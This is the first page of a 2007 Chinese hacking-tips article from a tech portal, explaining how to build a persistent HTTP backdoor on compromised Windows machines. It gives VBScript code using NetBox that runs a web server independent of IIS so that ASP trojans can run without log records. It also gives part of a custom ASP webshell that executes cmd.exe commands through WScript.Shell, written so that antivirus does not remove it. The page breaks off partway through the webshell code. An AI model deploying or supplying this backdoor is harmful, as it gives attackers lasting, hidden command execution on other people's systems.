首页产品库评测行情新闻|手机数码笔记本台式机DIY硬件数字家庭数码相机办公外设|软件下载游戏开发|社区

更多

数码相机
MP4
LCD
机箱
音箱

软件资讯设计 工具 系统 开发 安全 办公 陶吧 IT教育 Vista频道 | 下载中心酷我音乐盒 腾讯QQ
天极网 > 软件频道 > 网络安全频道 >黑客技巧 轻松拥有自己的超级Http后门

黑客技巧 轻松拥有自己的超级Http后门

2007-01-27 09:00作者:出处:ccidnet责任编辑:卢林嘉

  以前写的一篇文章,现在公布出来,对编程感兴趣欢迎和我讨论呵!

  一、前言

  在当今微软当道的年代,找肉鸡已经不是什么难事,各种各样的傻瓜工具大大方便了菜鸟们的入侵,但是往往入侵成功了,怎么去做好后门,把肉鸡尽可能久的抓住往往困惑着像我一样的菜鸟们。用过无数网上经典的后门后,在丢失了许多辛辛苦苦弄到的肉鸡后,我下定决心要写自己的后门。于是有了下面的文章。

  二、Netbox简介

  一个偶然的机会,我认识了Netbox。Netbox是一个使用脚本语言进行应用软件开发与发布的开发环境和运行平台,使用 NetBox,可以完全使用脚本语言(比如 VBScript,Javascript) 创建出稳定高效的应用软件,并且可以平滑移植到从 Windows 98 到 Windows .NET Server 的全部操作系统上。

  它可以方便的将asp应用编译成为独立运行的执行程序,完全摆脱iis的束缚(将iis卸载后程序运行仍然正常),在几乎所有的Windows版本上面直接运行,完全不需要考虑平台兼容性和对asp运行环境的要求。同时NetBox还提供大量扩展部件,使得WEB应用更加方便。说了那么多,大家肯定很想见识见识这位帅哥吧,好。

  三、一起动手

  如果大家已经对脚本语言VBScript或者Javascript有一点了解,那就可以跟我动手了。我们的任务是在建立一个与iis完全无关的web服务器,它可以为我们提供FSO的支持,以方便上传文件。并支持脚本宿主WSH,这样我们就能执行命令了。在网站根目录里我们可以放上自己的asp木马或其它的木马后门并可以随时执行。

  首先需要建立我们的web服务器,这个服务器和IIS没有任何关系,即使卸载了IIS它也可以运行。利用NetBox的HttpServer对象就能轻易的办到。

  在记事本里写入如下几行代码:

  Set httpd = CreateObject("NetBox.HttpServer") *创建httpserver对象 If httpd.Create("", 8000) = 0 Then *web服务端口设为8000,可以自己改,不要和其他端口冲突就行了。 Set host = httpd.AddHost("", "\wwwroot") *设置web服务的根目录为文件夹"wwwroot"。 host.EnableScript = true *使Web服务器能够理解服务器端脚本程序,既支持asp。 host.AddDefault "default.asp" host.AddDefault "default.htm" host.AddDefault "index.asp" host.AddDefault "index.htm" host.AddDefault "default.html" host.AddDefault "index.html" *设置缺省文件,相当与iis中的默认文档。 httpd.Start *开始服务 else httpd.Stop Shell.Quit 0 End If End Sub

  将文件存为main.box。

  这样一个支持asp的服务器源代码就写成功了,它可以让你的asp木马随心所欲的运行,而且不用担心会有日志记录,但是现在它还远不是一个后门,只是提供了与IIS相当的功能,为了防止后门被杀,我们不妨自己来写一个简单的CMD.ASP,当然不是那个所谓的最简短的asp后门了。我们要实现的功能是可以上传文件和执行命令。

  这里只分析主要的代码,详细的代码附在了软件包里。

  set pyeWSH=server.createobject("WSCRIPT.SHELL") *建立shell(wshshell)对象pyeWSH set pyeFSO=server.createobject("scripting.filesystemobject") *建立文件系统对象pyeFSO用于文件方面的操作 szTempFile="C:\"& pyeFSO.GetTempName() *GetTempName()是fso建立临时文件的一种方法 Call pyeWSH.Run ("cmd.exe /c "&szCMD &">"&szTempFile,0,true) *调用wshshell的run方法来执行命令,并把结果重定向到临时文件中 set oFile=pyeFSO.OpenTextFile(szTempFile,1,False,0) *以读的方式打开临时文件

关注此文的读者还看过:

返回软件频道首页

共2页。 1 2 下一页 末页

软件频道最新更新

热点推荐

IT嘉年华

编辑推荐

热门
推荐

网友关注

软件
资料
游戏

装机推荐

文章排行

本周
本月
最新更新

软件资讯

操作系统 | 设计在线 | 工具软件
IT教育  | 开发频道 | 网络安全
办公软件 | 网页陶吧 | 资讯中心
产品中心 | 每周周刊 |
 有道词典 QQ直播   |  酷狗音乐 Winamp | QQ MSN
 暴风影音美图秀秀 | 搜狗拼音 | Winrar | 迅雷 | Skype
 金山毒霸 |  光影魔术  | FoxmailPPfilm | WMP | PPS  
 瑞星杀毒酷我音乐  | PPLiveFirefox傲游 | 快车
群乐:Office | QQ  | MSN | QQ空间代码 | 你问我答 | 工具 | 壁纸大全 | 系统软件 | 防毒杀毒PS菜鸟园地 | 黑客 | 照片后期处理 | 开发PC靓化 | Vista | WPS | Windows 7 | Windows XP | Linux | Excel | Word | Powerpoint | Photoshop | Outlook | Flash设计秀场
天极服务| 关于我们| About us| 网站律师| 电子杂志| RSS订阅| 友情合作| 加入我们| 网站地图| MSN/QQ上看天极
TMG
Copyright (C) 1999-2009 Yesky.com, All Rights Reserved
版权所有 天极网络
商务联系、网站内容、合作建议:010-82657868 在线提交意见反馈
渝ICP证B2-20030003号  通用网址:天极网
天极传媒:天极网|比特网|IT专家网|IT商网|52PK游戏网|IT分众
经营性网站备案信息 网警备案 中国网站排名

去去去